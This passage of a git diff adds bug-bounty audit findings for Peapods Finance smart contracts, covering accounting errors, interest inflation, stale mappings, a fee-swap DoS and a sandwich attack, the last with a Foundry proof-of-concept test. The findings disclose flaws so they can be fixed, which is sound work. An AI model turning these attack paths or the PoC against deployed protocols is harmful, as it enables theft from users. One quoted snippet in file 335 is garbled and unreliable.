+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/oracles/dual-oracles/DualOracleChainlinkUniV3.sol#L141
+
+### Internal Condition
+
+chain = Mode
+
+### Mitigation
+
+consider to store the Oracle'address in a storage and allow that be updatable
\ No newline at end of file
diff --git a/330.md b/330.md
new file mode 100644
index 0000000..5365084
--- /dev/null
+++ b/330.md
@@ -0,0 +1,85 @@
+Perfect Macaroon Dachshund
+
+Medium
+
+# `AutoCompoundingPodLp::_totalAssets` is stale in some cases and users get more share than real amount
+
+
+### Root Cause
+
+users can deposit their spToken into AutoCompoundingPodLp to get a portion of reward and users can deposit through `AutoCompoundingPodLp::deposit` function
+and as we can see `AutoCompoundingPodLp::_processRewardsToPodLp` has been call with 0 as _amountLpOutMin to update _totalAssets to latest value but
+updating _totalAssets can be failed for some reason and this causes some users can get more reward than actual value also this problem exists in `AutoCompoundingPodLp::withdraw` and this causes users get less than actual value
+
+```solidity
+
+ function deposit(uint256 _assets, address _receiver) external override returns (uint256 _shares) {
+ @>>> _processRewardsToPodLp(0, block.timestamp);
+ _shares = _convertToShares(_assets, Math.Rounding.Floor);
+ _deposit(_assets, _shares, _receiver);
+ }
+```
+
+```solidity
+ function _processRewardsToPodLp(uint256 _amountLpOutMin, uint256 _deadline) internal returns (uint256 _lpAmtOut) {
+ if (!yieldConvEnabled) {
+ return _lpAmtOut;
+ }
+ address[] memory _tokens = ITokenRewards(IStakingPoolToken(_asset()).POOL_REWARDS()).getAllRewardsTokens();
+ uint256 _len = _tokens.length + 1;
+ for (uint256 _i; _i < _len; _i++) {
+ address _token = _i == _tokens.length ? pod.lpRewardsToken() : _tokens[_i];
+ uint256 _bal =
+ IERC20(_token).balanceOf(address(this)) - (_token == pod.PAIRED_LP_TOKEN() ? _protocolFees : 0);
+ if (_bal == 0) {
+ continue;
+ }
+ //_amountLpOutMin is zero here and is hardcoded
+ uint256 _newLp = _tokenToPodLp(_token, _bal, 0, _deadline);
+ _lpAmtOut += _newLp;
+ }
+ @>>> _totalAssets += _lpAmtOut;
+ //_amountLpOutMin is zero here
+ require(_lpAmtOut >= _amountLpOutMin, "M");
+ }
+
+```
+
+### Code Snippet
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L125
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L229
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L318
+
+
+### PoC
+
+As we can see in above code snippet all reward will be swapped for podLp and then will be staked to update _totalAssets .although ,_amountLpOutMin has been set 0 to prevent failing swap and stake but min amount has been overwrited
+
+```solidity
+
+ function _pairedLpTokenToPodLp(uint256 _amountIn, uint256 _deadline) internal returns (uint256 _amountOut) {
+ address _pairedLpToken = pod.PAIRED_LP_TOKEN();
+ uint256 _pairedSwapAmt = _getSwapAmt(_pairedLpToken, address(pod), _pairedLpToken, _amountIn);
+ uint256 _pairedRemaining = _amountIn - _pairedSwapAmt;
+ uint256 _minPtknOut;
+ if (address(podOracle) != address(0)) {
+ // calculate the min out with 5% slippage
+ @>> _minPtknOut = (
+ podOracle.getPodPerBasePrice() * _pairedSwapAmt * 10 ** IERC20Metadata(address(pod)).decimals() * 95
+ ) / 10 ** IERC20Metadata(_pairedLpToken).decimals() / 10 ** 18 / 100;
+ }
+ ...
+```
+and this causes swapV2Single will be failed when received amount isn't greater than min amount .hence , _totalAssets wouldn't update and the get more share in compare to real amount
+
+### Impact
+
+Malicious actors can abuse `AutoCompoundingPodLp::deposit` and steal other users' reward
+
+### Mitigation
+
+_minPtknOut should be zero when _amountLpOutMin is zero to force swapping
+
diff --git a/331.md b/331.md
new file mode 100644
index 0000000..daad5aa
--- /dev/null
+++ b/331.md
@@ -0,0 +1,170 @@
+Warm Cedar Hippo
+
+High
+
+# Malicious Lenders can Increase the Interest owed by Borrowers Due to Wrong `UtilizationRate` Calculation
+
+### Summary
+
+The `UtilizationRate` is used to calculate the percentage of utilization of a specific Fraxlend Pair. This utilization is then used to calculate interest rates which are charged to the borrowers of the platform. Since the formula to calculate one of the utilization rates is wrong, it triggers the `_addInterest` function when it is not supposed to, causing malicious lenders to keep calling the function to inflate the interest of borrowers.
+
+The protocol team confirmed that the utilization rate needs to be the ratio of total borrowed tokens to the total borrowed + un-borrowed tokens in the contract.
+
+Currently, one of the utilization rate is calculated as the ratio between the total borrowed tokens to the total un-borrowed tokens.
+
+**A malicious lender can increase the interest of a borrower by more than `10%` every single day by doing this.**
+
+### Root Cause
+
+In the [`_addInterest`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L457) function the calculation for the utilization rate of the Fraxlend Pair is wrong due to the following reason:
+
+The utilization rate is calculated as shown below:
+```solidity
+uint256 _totalAssetsAvailable = _totalAssetAvailable(totalAsset, totalBorrow, true);
+_prevUtilizationRate = _totalAssetsAvailable == 0 ? 0 : (UTIL_PREC * totalBorrow.amount) / _totalAssetsAvailable;
+```
+
+The first line gets the `_totalAssetsAvailable` from the following function shown below:
+```solidity
+function _totalAssetAvailable(VaultAccount memory _totalAsset, VaultAccount memory _totalBorrow, bool _includeVault)
+ internal
+ view
+ returns (uint256)
+ {
+ if (_includeVault) {
+ return _totalAsset.totalAmount(address(externalAssetVault)) - _totalBorrow.amount;
+ }
+ ...
+```
+
+Here, the total asset in the contract plus the ones in the vault is subtracted by the total amount that is borrowed from the contract.
+
+If we take this into consideration, the formula for the Utilization Rate becomes:
+
+$$UtilizationRate = \frac{totalBorrow.amount}{totalAmountOfAssets - totalAssetsBorrowed}$$
+
+Hence, the utilization rate becomes the ratio between total borrowed amount to total assets that are **currently** available in the contract to be lent out. This was communicated with the protocol and they agree that this is the wrong formula.
+
+The correct equation should be the ratio between total borrowed amount to the total borrowed + un-borrowed amount in the pair.
+
+Let's look at an example to understand this better,
+
+Let's take a Pair of tokens `X` asset, and `Y` collateral.
+* We have `100 X` assets, and `100 Y` collateral.
+* `50 X` assets have been borrowed by Alice.
+* Now the pair has `50 X` assets, and `100 Y` collateral.
+
+Let's calculate the utilization rate:
+
+**Current Formula:**
+
+$$UtilizationRate = \frac{totalBorrow.amount}{totalAmountOfAssets - totalAssetsBorrowed} = \frac{50}{100-50} = 1.0$$
+
+This gives a `100%` utilization rate.
+
+**Corrected Formula:**
+
+$$UtilizationRate = \frac{totalBorrow.amount}{totalAmountOfAssets} = \frac{50}{100} = 0.5$$
+
+This gives a `50%` utilization rate.
+
+In this example, the rate change is `100-50 = 50%`, so it can trigger interest accrual even when it is not required. To understand the full impact of this error, we need to know the different types of interest a user can create for their Pairs of token.
+
+1. Linear Interest Rate: This interest is a simple linear interest following the equation `y = mx + c`, it has a vertex utilization after which the interest rate increases more rapidly.
+2. Variable Interest Rate: This interest is a more complicated interest rate that changes the `vertex` and `max interest` dynamically with the utilization.
+
+The problem occurs because if you call the `addInterest` function and update the interest rates when it is not required, you can steal more interest from the borrowers than necessary. This is shown in the Attack Path section below.
+
+### Internal Pre-conditions
+
+A Fraxlend Pair is created.
+
+### External Pre-conditions
+
+A user calls the `addInterest` function to update the interest states.
+
+### Attack Path
+1. A FraxLend Pair is created with a variable interest rate with `60 MIN_TARGET_UTIL`, and `70 MAX_TARGET_UTIL`. Interest rate of `1%` minimum, `2%` vertex, and `15%` maximum.
+2. `100` assets are deposited and `50` are loaned out to borrowers.
+3. Nothing changes, and the user calls `addInterest` to update interest rates. This can be called every block.
+
+From this point forward, lets look at the current method and the correct method to check state changes:
+
+**Current:**
+Everyday the function is called with no change in utilization:
+The function calculates the current full utilization rate by:
+```solidity
+function getFullUtilizationInterest(uint256 _deltaTime, uint256 _utilization, uint64 _fullUtilizationInterest)
+ ...
+ if (_utilization < MIN_TARGET_UTIL) {
+ // 18 decimals
+ uint256 _deltaUtilization = ((MIN_TARGET_UTIL - _utilization) * 1e18) / MIN_TARGET_UTIL;
+ // 36 decimals
+ uint256 _decayGrowth = (RATE_HALF_LIFE * 1e36) + (_deltaUtilization * _deltaUtilization * _deltaTime);
+ // 18 decimals
+ _newFullUtilizationInterest = uint64((_fullUtilizationInterest * (RATE_HALF_LIFE * 1e36)) / _decayGrowth);
+ }
+```
+
+For our situation, we will get `_newFullUtilizationInterest = 0.14210526315789473`.
+
+And using this they calculate the `_newRatePerSec`:
+```solidity
+uint256 _vertexInterest =
+ (((_newFullUtilizationInterest - ZERO_UTIL_RATE) * VERTEX_RATE_PERCENT) / RATE_PREC) + ZERO_UTIL_RATE;
+ if (_utilization < VERTEX_UTILIZATION) {
+ // 18 decimals
+ _newRatePerSec =
+ uint64(ZERO_UTIL_RATE + (_utilization * (_vertexInterest - ZERO_UTIL_RATE)) / VERTEX_UTILIZATION);
+```
+
+Which will give us `_newRatePerSec = 0.02048454469507101`. This will be used to calculate the interest for each borrower and the interest is charged.
+
+If you call this daily for 30 days, the `_newRatePerSec` will decrease slowly as shown below:
+```bash
+0.02048454469507101
+0.019890955458822496
+...
+0.011688161515964891
+0.011557539815458803
+```
+On average, a person will pay `0.014938491983740592 ` or `1.4938%` interest.
+
+**Correct:**
+In the correct implementation of this hypothetical situation, the borrowers will only need to pay interest once in the 30 days at the end *if* utilization changes, giving them quite a lot less interest of `0.013670634920634922 ` or `1.367%`.
+
+**In this example alone, the borrower had to pay `0.1268%` interest more than they are required.**
+
+Another situation can be created for a utilization rate that is greater than the vertex utilization rate. When that is done, the interest rate increases from `12.250%` to `22.89%` in a single day. This can negatively affect the borrowers too, even though there is no change in utilization. Ideally, the utilization will decrease and the interest rate will decrease sequentially, but that will not happen if the utilization remains the same even for a block because the `addInterest` function can be called every block.
+
+### Impact
+
+This wrong calculation is only used in the calculation of `_prevUtilizationRate`. This variable is only used in the `addInterest` function to calculate whether the interest needs to be updated or not:
+
+```solidity
+uint256 _currentUtilizationRate = _prevUtilizationRate;
+uint256 _totalAssetsAvailable = totalAsset.totalAmount(address(externalAssetVault));
+uint256 _newUtilizationRate =
+ _totalAssetsAvailable == 0 ? 0 : (UTIL_PREC * totalBorrow.amount) / _totalAssetsAvailable;
+@> uint256 _rateChange = _newUtilizationRate > _currentUtilizationRate
+ ? _newUtilizationRate - _currentUtilizationRate
+ : _currentUtilizationRate - _newUtilizationRate;
+if (
+ _currentUtilizationRate != 0
+ && _rateChange < _currentUtilizationRate * minURChangeForExternalAddInterest / UTIL_PREC
+) {
+ emit SkipAddingInterest(_rateChange);
+} else {
+ (, _interestEarned, _feesAmount, _feesShare, _currentRateInfo) = _addInterest();
+}
+```
+
+Due to this, lender can maliciously call the `addInterest` function to increase the amount of interest the borrowers have to pay. They can call the function every block and increase the interest.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/332.md b/332.md
new file mode 100644
index 0000000..360a7bb
--- /dev/null
+++ b/332.md
@@ -0,0 +1,51 @@
+Nutty Steel Sealion
+
+Medium
+
+# Inaccessible owner functions in LeverageManager due to ownership transfer to LeverageFactory
+
+### Summary
+
+The `LeverageManager` contains multiple functions restricted by the `onlyOwner` modifier. While the ownership is transferred to the `LeverageFactory` contract during deployment, the factory contract lacks the necessary interface methods to utilize these owner-restricted functions, effectively making them permanently inaccessible.
+
+### Root Cause
+
+The architectural design assumes that the `LeverageFactory` should be the owner of `LeverageManager` instances.
+
+The `LeverageFactory` needs to call `setLendingPair` on the LeverageManager during the `addLvfSupportForPod` function, as seen in [LeverageFactory.sol:143](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeverageFactory.sol#L143):
+
+The [`setLendingPair`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeverageManagerAccessControl.sol#L17) function is protected by the `onlyOwner` modifier in `LeverageManagerAccessControl`, necessitating the factory to be the owner.
+
+However, while the factory needs ownership to perform these functions, it fails to implement the necessary interface methods to access other owner-restricted functionality of the managers it owns. This creates a pattern where owner functions exist but can never be called.
+
+### Internal Pre-conditions
+
+`LeverageManager`'s ownership is transferred to `LeverageFactory`.
+
+### External Pre-conditions
+
+N/A
+
+### Attack Path
+
+The inaccessible owner functions affect several scenarios:
+
+1. **Flash source management**: The `setFlashSource()` function cannot be called to add or remove flash sources, preventing any updates to this functionality.
+
+2. **Emergency fund recovery**: If tokens get stuck in the contract, the `rescueTokens()` and `rescueETH()` functions cannot be executed, resulting in permanent loss of funds.
+
+3. **Fee adjustments**: The `setOpenFeePerc()` and `setCloseFeePerc()` functions cannot be used to adjust fees.
+
+4. **Configuration updates**: Parameters like `feeReceiver` and `indexUtils` cannot be updated, which could result in the contract using outdated configurations.
+
+### Impact
+
+The inaccessibility of owner-restricted functions in the `LeverageManager` creates a permanently frozen protocol configuration that cannot be modified or upgraded. Operations including emergency fund recovery, fee adjustments, and flash loan source updates become impossible.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Either implement proxy functions in `LeverageFactory` to access all owner-restricted functions of `LeverageManager`, or introduce a dedicated role in `LeverageManager` that would allow the factory to only manage lending pairs while keeping core administrative functions with a separate owner.
\ No newline at end of file
diff --git a/333.md b/333.md
new file mode 100644
index 0000000..a1b6351
--- /dev/null
+++ b/333.md
@@ -0,0 +1,80 @@
+Nutty Steel Sealion
+
+Medium
+
+# IndexManager::removeIndex function incorrectly updates _indexIdx when removing last index
+
+### Summary
+
+In the [`IndexManager.sol:83`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/IndexManager.sol#L83), when removing the last index using `removeIndex()`, the `_indexIdx` mapping retains a stale entry pointing to an array index. If a new index is subsequently added, this creates a situation where two different Pod addresses in `_indexIdx` point to the same array index, leading to unintended state changes where modifications to a deleted pod affect an unrelated active Pod.
+
+
+### Root Cause
+
+The `removeIndex()` function fails to properly clean up the `_indexIdx` mapping when removing the last element:
+```solidity
+function removeIndex(uint256 _idxInAry) external override onlyAuthorized {
+ IIndexAndStatus memory _idx = indexes[_idxInAry];
+ delete _indexIdx[_idx.index];
+ indexes[_idxInAry] = indexes[indexes.length - 1]; // When removing last index, this is redundant
+ _indexIdx[indexes[_idxInAry].index] = _idxInAry; // This creates a stale mapping entry
+ indexes.pop();
+ emit RemoveIndex(_idx.index);
+}
+```
+
+### Internal Pre-conditions
+
+N/A
+
+### External Pre-conditions
+
+N/A
+
+### Attack Path
+
+1. Initial state:
+- User creates Pod A which exists at `indexes[0]`
+- `_indexIdx[podA]` = 0
+2. Authorized role removes Pod A (it was the last index):
+- `delete _indexIdx[podA]` is called
+- But `_indexIdx[podA]` is incorrectly set back to 0
+- Pod A is removed from indexes array
+3. Same user creates new Pod B:
+- Added to `indexes[0]`
+- `_indexIdx[podB]` = 0
+- Now both `_indexIdx[podA]` and `_indexIdx[podB]` point to 0
+4. User calls any function that uses `_indexIdx` (e.g., `updateMakePublic`, `setPublic`, etc.) on Pod A:
+```solidity
+uint256 _idx = _indexIdx[podA]; // Returns 0
+IIndexAndStatus storage _indexObj = indexes[_idx]; // Gets Pod B's data
+// Modifies Pod B's state instead of Pod A
+```
+
+### Impact
+
+The stale mapping entry causes state changes intended for one Pod to be applied to a different Pod. When a user who created both pods attempts to modify their deleted Pod, the changes are unexpectedly applied to their other active Pod instead. This leads to unintended state modifications where a Pod receives configuration changes that were meant for a different Pod.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Remove the unnecessary mapping update when removing the last element:
+
+```solidity
+function removeIndex(uint256 _idxInAry) external override onlyAuthorized {
+ IIndexAndStatus memory _idx = indexes[_idxInAry];
+ delete _indexIdx[_idx.index];
+
+ uint256 lastIndex = indexes.length - 1;
+ if (_idxInAry != lastIndex) {
+ indexes[_idxInAry] = indexes[lastIndex];
+ _indexIdx[indexes[_idxInAry].index] = _idxInAry;
+ }
+
+ indexes.pop();
+ emit RemoveIndex(_idx.index);
+}
+```
\ No newline at end of file
diff --git a/334.md b/334.md
new file mode 100644
index 0000000..2c6dbb4
--- /dev/null
+++ b/334.md
@@ -0,0 +1,103 @@
+Perfect Macaroon Dachshund
+
+High
+
+# Value of vaultUtilization ,_totalAssetsUtilized and vaultDeposits isn't correct when asset token is a Pod
+
+### Root Cause
+
+Index tokens can have another index token as a pairLpToken and also index token'owner can attach a
+FraxlendPair to his/her index token through `LeverageFactory::addLvfSupportForPod` and a new FraxlendPair will be deployed with a index token as borrow asset
+
+```solidity
+ function addLvfSupportForPod(
+ address _pod,
+ address _dexAdapter,
+ address _indexUtils,
+ bytes memory _aspTknOracleRequiredImmutables,
+ bytes memory _aspTknOracleOptionalImmutables,
+ bytes memory _fraxlendPairConfigData
+ ) external onlyOwner returns (address _aspTkn, address _aspTknOracle, address _fraxlendPair) {
+ @>>> address _borrowTkn = IDecentralizedIndex(_pod).PAIRED_LP_TOKEN();
+ ...
+ @>>> _fraxlendPair = _createFraxlendPair(_borrowTkn, _aspTkn, _aspTknOracle, _fraxlendPairConfigData);
+
+ // this effectively is what "turns on" LVF for the pair
+ ILeverageManagerAccessControl(leverageManager).setLendingPair(_pod, _fraxlendPair);
+
+ emit AddLvfSupportForPod(_pod, _aspTkn, _aspTknOracle, _fraxlendPair);
+ }
+```
+
+and this FraxlendPair can be added to LendingAssetVault as a whitelisted pair to deposit liquidity by LendingAssetVault'owner and there is a tip here and that is index tokens can have
+taxes and this causes some problems in LendingAssetVault
+
+```solidity
+ function _update(address _from, address _to, uint256 _amount) internal override {
+ ...
+ @>>> } else if (!_buy && !_sell && _config.hasTransferTax) {
+ _fee = _amount / 10000; // 0.01%
+ _fee = _fee == 0 && _amount > 0 ? 1 : _fee;
+ super._update(_from, address(this), _fee);
+ }
+ }
+ _processBurnFee(_fee);
+ super._update(_from, _to, _amount - _fee);
+ }
+```
+
+### Code Snippet
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeverageFactory.sol#L126
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeverageFactory.sol#L140
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/DecentralizedIndex.sol#L174
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L239
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L250
+
+### Internal Condition
+
+hasTransferTax is true
+
+### PoC
+
+Let's assume a user deposit 100_000e18 pod token into LendingAssetVault when tax is 0.01%
+
+_totalAssets = 100_000e18
+LendingAssetVault'balance = 99_990e18
+10e18 pod will be deducted as a fee
+
+and then LendingAssetVault'owner deposit 99_990e18 to pairA
+_totalAssetsUtilized = 99_990e18
+pairA'balance = 99_980e18
+
+totalAvailableAssets = 100_000e18 - 99_990e18 = 10e18
+but LendingAssetVault'balance = 0
+
+and Let's assume there is another pair as whitelisted and it needs to get 10e18 from the LendingAssetVault and it calls `LendingAssetVault::whitelistWithdraw` and all conditions will be satisfied but the transaction will be reverted becuase LendingAssetVault is less than totalAvailableAssets
+
+```solidity
+ function whitelistWithdraw(uint256 _assetAmt) external override onlyWhitelist {
+ address _vault = _msgSender();
+ _updateAssetMetadataFromVault(_vault);
+
+ // validate max after doing vault accounting above
+ @>>> require(totalAvailableAssetsForVault(_vault) >= _assetAmt, "MAX");
+ vaultDeposits[_vault] += _assetAmt;
+ vaultUtilization[_vault] += _assetAmt;
+ _totalAssetsUtilized += _assetAmt;
+ @>>> IERC20(_asset).safeTransfer(_vault, _assetAmt);
+ emit WhitelistWithdraw(_vault, _assetAmt);
+ }
+```
+
+### Imapct
+
+break core functions
+
+### Mitigation
+
+consider to update vaultUtilization , _totalAssetsUtilized , _totalAsset and vaultDeposits and based on balanceOf after and before transfer
\ No newline at end of file
diff --git a/335.md b/335.md
new file mode 100644
index 0000000..bc5e516
--- /dev/null
+++ b/335.md
@@ -0,0 +1,163 @@
+Stale Porcelain Kestrel
+
+High
+
+# Attacker manipulates token prices to exploit users via Sandwich Attack
+
+## **Summary**
+The lack of price impact checks in `CamelotDexAdapter` will cause a **Sandwich Attack** for users, as an attacker will **front-run a victim’s swap by purchasing a large amount of tokens, causing the price to rise, and then back-run by selling the tokens at a higher price after the victim's trade is executed**. This results in **significant slippage and financial loss for the victim**.
+
+---
+
+## **Root Cause**
+In [CamelotDexAdapter.sol](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/dex/CamelotDexAdapter.sol#L32-L54), the function `swapV2Single()` does **not validate price impact before executing the swap**, making it vulnerable to **price manipulation by MEV bots or malicious traders**.
+
+Example of the affected function:
+```solidity
+function swapV2Single(
+ address _tokenIn,
+ address _tokenOut,
+ uint256 _amountIn,
+ uint256 _amountOutMin,
+ address _recipient
+) external override returns (uint256 _amountOut) {
+ uint256 _outBefore = IERC20(_tokenOut).balanceOf(_recipient);
+
+ if (_amountIn == 0) {
+ _amountIn = IERC20(_tokenIn).balanceOf(address(this));
+ } else {
+ IERC20(_tokenIn).safeTransferFrom(_msgSender(), address(this), _amountIn);
+ }
+
+ add](2);
+ _path[0] = _tokenIn;
+ _path[1] = _tokenOut;
+
+ IERC20(_tokenIn).safeIncreaseAllowance(V2_ROUTER, _amountIn);
+
+ ICamelotRouter(V2_ROUTER).swapExactTokensForTokensSupportingFeeOnTransferTokens(
+ _amountIn, _amountOutMin, _path, _recipient, address(this), block.timestamp
+ );
+
+ return IERC20(_tokenOut).balanceOf(_recipient) - _outBefore;
+}
+```
+### **Issue**:
+- The function **does not check the price impact before or after swapping**, allowing attackers to manipulate token prices.
+- There is **no validation** that ensures the **victim's trade will not be negatively impacted**.
+- Since it uses `swapExactTokensForTokensSupportingFeeOnTransferTokens()`, the attacker can **force slippage** and **extract value from the victim**.
+
+---
+
+## **Attack Path**
+
+1. **Attacker monitors pending transactions in the mempool** and finds a victim’s swap trade.
+2. **Attacker submits a front-running transaction**:
+ - Buys a large amount of `_tokenIn` to increase the price of `_tokenOut`.
+3. **Victim's transaction executes**:
+ - The victim buys `_tokenOut` at a **higher price**, leading to **high slippage and loss**.
+4. **Attacker submits a back-running transaction**:
+ - Sells `_tokenOut` at a higher price than before, **profiting from the victim’s trade**.
+5. **Attacker profits from the victim’s slippage loss**.
+
+---
+
+## **Impact**
+- **Victims suffer a financial loss** due to slippage and price manipulation.
+- **Attackers gain profits by forcing the victim to buy at a higher price and sell at a lower price**.
+- **Users may lose trust in the DEX and contract due to high slippage and unfair trades**.
+
+---
+
+## Proof of Concept (PoC)
+The following test simulates a **Sandwich Attack** on `CamelotDexAdapter`:
+
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.28;
+
+import "forge-std/Test.sol";
+import "../contracts/CamelotDexAdapter.sol";
+import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
+
+contract SandwichAttackTest is Test {
+ CamelotDexAdapter dexAdapter;
+ IERC20 tokenIn;
+ IERC20 tokenOut;
+ address victim;
+ address attacker;
+ address recipient;
+
+ function setUp() public {
+ dexAdapter = new CamelotDexAdapter(
+ IV3TwapUtilities(address(0x1234)), // Mock contract
+ address(0x5678), // Mock V2 Router
+ address(0x9ABC) // Mock V3 Router
+ );
+
+ tokenIn = IERC20(address(0x1111));
+ tokenOut = IERC20(address(0x2222));
+
+ victim = address(0x3333);
+ attacker = address(this);
+ recipient = address(0x4444);
+
+ deal(address(tokenIn), attacker, 10000 ether);
+ deal(address(tokenIn), victim, 100 ether);
+ }
+
+ function testSandwichAttack() public {
+ uint256 amountInVictim = 100 ether;
+ uint256 amountOutMinVictim = 90 ether;
+
+ // 1. Attacker Front-runs
+ tokenIn.approve(address(dexAdapter), 5000 ether);
+ dexAdapter.swapV2Single(address(tokenIn), address(tokenOut), 5000 ether, 0, attacker);
+
+ // 2. Victim Executes Swap
+ vm.prank(victim);
+ tokenIn.approve(address(dexAdapter), amountInVictim);
+ dexAdapter.swapV2Single(address(tokenIn), address(tokenOut), amountInVictim, amountOutMinVictim, victim);
+
+ // 3. Attacker Back-runs
+ dexAdapter.swapV2Single(address(tokenOut), address(tokenIn), 5000 ether, 0, attacker);
+
+ // 4. Verify Attacker Profit
+ uint256 attackerProfit = tokenIn.balanceOf(attacker);
+ assert(attackerProfit > 10000 ether);
+ }
+}
+```
+---
+
+## **Mitigation Strategies**
+
+### **1. Implement Slippage Protection**
+Ensure that the price impact does not exceed a set threshold (e.g., 5%) before and after the swap.
+
+```solidity
+uint256 priceBefore = getPrice(_tokenIn, _tokenOut);
+...
+uint256 priceAfter = getPrice(_tokenIn, _tokenOut);
+require(priceAfter >= priceBefore * 95 / 100, "Price manipulated");
+```
+**Effectiveness**: Prevents severe price manipulation.
+
+---
+
+### **2. Use Private RPCs (Flashbots, Eden Network, MEV Blocker)**
+Send transactions **privately** to avoid exposure in the public mempool.
+**Effectiveness**: Completely eliminates front-running by keeping transactions hidden.
+
+---
+
+### 3. Monitor Liquidity Changes Before Execution
+Check that the liquidity pool reserves have not been **significantly altered** before executing the swap.
+
+```solidity
+(uint112 reserve0Before, uint112 reserve1Before) = getReserves(_pool);
+...
+(uint112 reserve0After, uint112 reserve1After) = getReserves(_pool);
+require(reserve0After >= reserve0Before * 95 / 100, "Reserve manipulated");
+```
+**Effectiveness**: Prevents attacks that rely on extreme price swings.
\ No newline at end of file
diff --git a/336.md b/336.md
new file mode 100644
index 0000000..67b5b5c
--- /dev/null
+++ b/336.md
@@ -0,0 +1,76 @@
+Nutty Steel Sealion
+
+High
+
+# Pod DoS due to missing validation of tokens received in _feeSwap
+
+### Summary
+
+The `DecentralizedIndex` contract only checks if `TokenRewards` has a positive balance of `PAIRED_LP_TOKEN` (which is almost always true due to unclaimed rewards) but fails to verify that new tokens were actually received from the fee swap. When combined with `TokenReward`s' strict requirement for new tokens (`amount > 0`), this leads to transaction revert when fee swaps return zero tokens.
+
+
+### Root Cause
+
+In [`DecentralizedIndex.sol:228`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/DecentralizedIndex.sol#L228), when swapping fees:
+1. `swapV2Single` is called with `minAmount = 0`.
+2. The contract checks only if `balance > 0` but not if new tokens were received.
+
+```solidity
+} else if (IERC20(PAIRED_LP_TOKEN).balanceOf(_rewards) > 0) {
+ ITokenRewards(_rewards).depositFromPairedLpToken(0);
+}
+```
+
+3. `depositFromPairedLpToken` is called regardless of swap result.
+4. `TokenRewards` strictly requires `amount > 0`.
+
+```solidity
+uint256 _amountTkn = IERC20(PAIRED_LP_TOKEN).balanceOf(address(this)) - _unclaimedPairedLpTkns;
+require(_amountTkn > 0, "A");
+```
+
+### Internal Pre-conditions
+
+1. `PAIRED_LP_TOKEN` != `lpRewardsToken`.
+2. `TokenRewards` contract has unclaimed rewards (`balance > 0`).
+
+### External Pre-conditions
+
+High slippage or insufficient liquidity in the pool results in zero tokens received from the fee swap operation.
+
+### Attack Path
+
+When the pool has high slippage or insufficient liquidity, the fee swap returns zero tokens but the contract proceeds to call `depositFromPairedLpToken`, causing the transaction to revert. This prevents execution of the original operation that triggered the fee swap.
+
+### Impact
+
+The `depositFromPairedLpToken` function is triggered during the Pod swap fee process, affecting nearly all essential operations such as debonding, transfers, and providing liquidity. In periods of high volatility or low liquidity, when swaps might return zero tokens, this causes a DoS of the Pod, preventing users from executing any of these operations.
+
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+```diff
+ uint256 _pairedLpBalBefore = IERC20(PAIRED_LP_TOKEN).balanceOf(_rewards);
+ DEX_HANDLER.swapV2Single(address(this), PAIRED_LP_TOKEN, _amount, 0, _rewards);
+
++ uint256 _newPairedLpTkns = IERC20(PAIRED_LP_TOKEN).balanceOf(_rewards) - _pairedLpBalBefore;
++ if (_newPairedLpTkns == 0) {
++ return;
++ }
++
+ if (PAIRED_LP_TOKEN == lpRewardsToken) {
+- uint256 _newPairedLpTkns = IERC20(PAIRED_LP_TOKEN).balanceOf(_rewards) - _pairedLpBalBefore;
+- if (_newPairedLpTkns > 0) {
+- ITokenRewards(_rewards).depositRewardsNoTransfer(PAIRED_LP_TOKEN, _newPairedLpTkns);
+- }
+- } else if (IERC20(PAIRED_LP_TOKEN).balanceOf(_rewards) > 0) {
++ ITokenRewards(_rewards).depositRewardsNoTransfer(PAIRED_LP_TOKEN, _newPairedLpTkns);
++ } else {
+ ITokenRewards(_rewards).depositFromPairedLpToken(0);
+ }
+ }
+```
\ No newline at end of file
diff --git a/337.md b/337.md
new file mode 100644
index 0000000..ade0fa5
--- /dev/null
+++ b/337.md
@@ -0,0 +1,46 @@
+Old Blush Hornet
+
+Medium
+
+# styETH is available only in ETH main net
+
+### Summary
+
+The styETH is hardcoded in Zapper contract but it's not available on other chains.
+
+### Root Cause
+
+On what chains are the smart contracts going to be deployed?
+
+> Ethereum, Arbitrum One, Base, Mode, Berachain.
+
+```solidity
+ address constant STYETH = 0x583019fF0f430721aDa9cfb4fac8F06cA104d0B4;
+```
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/Zapper.sol#L23
+
+styETH is available only in ETH main net .
+
+### Internal Pre-conditions
+
+.
+
+### External Pre-conditions
+
+.
+
+### Attack Path
+
+.
+
+### Impact
+
+contract may not executing logic as expected.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/338.md b/338.md
new file mode 100644
index 0000000..ac832e6
--- /dev/null
+++ b/338.md
@@ -0,0 +1,32 @@
+Brief Nylon Dachshund
+
+Medium
+
